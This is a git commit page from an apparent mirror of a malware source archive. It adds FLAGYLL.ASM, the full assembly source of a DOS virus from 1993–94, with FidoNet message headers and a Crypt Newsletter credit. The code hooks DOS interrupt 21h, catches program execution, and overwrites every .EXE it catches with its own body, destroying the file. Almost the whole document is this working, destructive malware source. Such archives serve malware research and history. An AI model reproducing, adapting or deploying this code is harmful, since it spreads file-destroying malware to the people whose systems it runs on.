mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,268 @@
|
||||
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||||
; Msg : 36 of 54
|
||||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
|
||||
; To : - *.* - Fri 11 Nov 94 08:10
|
||||
; Subj : FLAGYLL.ASM
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;.RealName: Max Ivanov
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;* Kicked-up by MeteO (2:5030/136)
|
||||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||||
;* From : Gilbert Holleman, 2:283/718 (06 Nov 94 17:38)
|
||||
;* To : Bill Dirks
|
||||
;* Subj : FLAGYLL.ASM
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;@RFC-Path:
|
||||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||||
;18.n283!not-for-mail
|
||||
;@RFC-Return-Receipt-To: Gilbert.Holleman@f718.n283.z2.fidonet.org
|
||||
;FLAGYLL virus - edited for Crypt Newsletter 13
|
||||
;FLAGYLL is a memory resident, overwriting virus which
|
||||
;infects and destroys .EXE files on load.
|
||||
;It updates the infected files time/date stamps to the time of
|
||||
;infection so it can easily be followed.
|
||||
;.EXE's infected by FLAGYLL are destroyed. DOS will either
|
||||
;refuse to load them or FLAGYLL will become resident
|
||||
;as they execute. These programs are ruined and can only
|
||||
;be deleted. Because it is so destructive to files, FLAGYLL cannnot
|
||||
;pose a threat in the wild, and in this respect, it is much
|
||||
;inferior to the SUSAN virus included in this issue.
|
||||
|
||||
.radix 16
|
||||
cseg segment
|
||||
model small
|
||||
assume cs:cseg, ds:cseg, es:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
oi21 equ endflagyll
|
||||
filelength equ endflagyll - begin
|
||||
nameptr equ endflagyll+4
|
||||
DTA equ endflagyll+8
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
begin: jmp install_flagyll
|
||||
|
||||
|
||||
|
||||
; install
|
||||
install_flagyll:
|
||||
|
||||
mov ax,cs ; reduce memory size
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],5a ; check if last memory
|
||||
jne cancel ; block
|
||||
mov ax,ds:[0003]
|
||||
sub ax,100 ; decrease memory
|
||||
mov ds:0003,ax
|
||||
|
||||
|
||||
copy_flagyll:
|
||||
mov bx,ax ; copy to claimed block
|
||||
mov ax,es ; PSP
|
||||
add ax,bx ; virus start in memory
|
||||
mov es,ax
|
||||
mov cx,offset endflagyll - begin ; cx = length of virus
|
||||
mov ax,ds ; restore ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
lea si,ds:[begin] ; point to start of virus
|
||||
lea di,es:0100 ; point to destination
|
||||
rep movsb ; copy virus in memory
|
||||
|
||||
|
||||
|
||||
hook_21:
|
||||
|
||||
mov ds,cx ; hook interrupt 21h
|
||||
mov si,0084h ;
|
||||
mov di,offset oi21
|
||||
mov dx,offset check_exec
|
||||
lodsw
|
||||
cmp ax,dx ;
|
||||
je cancel ; exit, if already installed
|
||||
stosw
|
||||
movsw
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov ax,2521h ; revector int 21h to virus
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
check_exec: ; look over loaded files
|
||||
pushf ; for executables
|
||||
|
||||
push es ; push everything onto the
|
||||
push ds ; stack
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
|
||||
cmp ax,04B00h ; is a file being
|
||||
; executed ?
|
||||
|
||||
|
||||
jne abort ; no, exit
|
||||
|
||||
do_infect:
|
||||
call infect ; then try to infect
|
||||
|
||||
abort: ; restore everything
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
pop es
|
||||
popf
|
||||
|
||||
exit:
|
||||
; exit
|
||||
jmp dword ptr cs:[oi21]
|
||||
|
||||
infect:
|
||||
jmp over_id ; it's a vanity thing
|
||||
|
||||
note: db '-=[Crypt Newsletter 13]=-'
|
||||
|
||||
|
||||
over_id:
|
||||
|
||||
|
||||
|
||||
mov cs:[name_seg],ds ; this routine
|
||||
mov cs:[name_off],dx ; essentially grabs
|
||||
; the name of the file
|
||||
cld ; clear direction flags
|
||||
mov word ptr cs:[nameptr],dx ; save pointer to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
mov ah,2Fh ; get old DTA
|
||||
int 21h
|
||||
push es
|
||||
push bx
|
||||
|
||||
push cs ; set new DTA
|
||||
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21h
|
||||
|
||||
call host_ident ; find filename for virus
|
||||
push di
|
||||
mov si,offset COM_txt ; is extension 'COM' ?
|
||||
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
pop di
|
||||
jz return ; if so, let it pass by
|
||||
mov si,offset EXE_txt ; is extension .EXE ?
|
||||
nop
|
||||
mov cl,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
|
||||
|
||||
do_exe: ; infect host, destroying it
|
||||
|
||||
mov ax,4300h ; clear attributes
|
||||
mov ds,cs:[name_seg]
|
||||
mov dx,cs:[name_off]
|
||||
int 21h
|
||||
and cl,0FEh
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
|
||||
mov ds,cs:[name_seg] ; open file read/write
|
||||
mov dx,cs:[name_off]
|
||||
mov ax,3D02h
|
||||
int 21h
|
||||
jc close_file
|
||||
push cs
|
||||
pop ds
|
||||
mov [handle],ax
|
||||
mov bx,ax
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,4200h ;set pointer to beginning of host
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,[handle] ;handle to BX
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
|
||||
mov ah,40 ;write to file
|
||||
mov cx,filelength ;virus length in cx
|
||||
mov dx,100 ;start write at beginning of Flagyll
|
||||
int 21h ;do it
|
||||
|
||||
close_file: mov bx,[handle]
|
||||
mov ah,03Eh ;close file, name -->BX
|
||||
int 21h
|
||||
|
||||
mov ax,4C00h ;exit to DOS
|
||||
int 21h
|
||||
|
||||
|
||||
|
||||
|
||||
return: mov ah,1Ah
|
||||
pop dx ; restore old DTA
|
||||
pop ds
|
||||
int 21H
|
||||
|
||||
ret ; let DOS regain control
|
||||
|
||||
|
||||
host_ident: les di,dword ptr cs:[nameptr] ; finds filename for
|
||||
mov ch,0FFh ; host selection
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
EXE_txt db 'EXE',0 ; extension masks
|
||||
COM_txt db 'COM',0 ; for host selection
|
||||
|
||||
name_seg dw ? ;data buffers for
|
||||
name_off dw ? ; viral use on the fly
|
||||
handle dw ?
|
||||
|
||||
note2: db 'Flagyll' ; virus name
|
||||
|
||||
endflagyll:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
;-+- GEcho 1.10+
|
||||
; + Origin: Poeldijk, The Netherlands, Europe, Earth (2:283/718)
|
||||
;=============================================================================
|
||||
;
|
||||
;Yoo-hooo-oo, -!
|
||||
;
|
||||
;
|
||||
; þ The MeÂeO
|
||||
;
|
||||
;/3 Enable 32-bit processing
|
||||
;
|
||||
;--- Aidstest Null: /Kill
|
||||
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||||
|
||||
Reference in New Issue
Block a user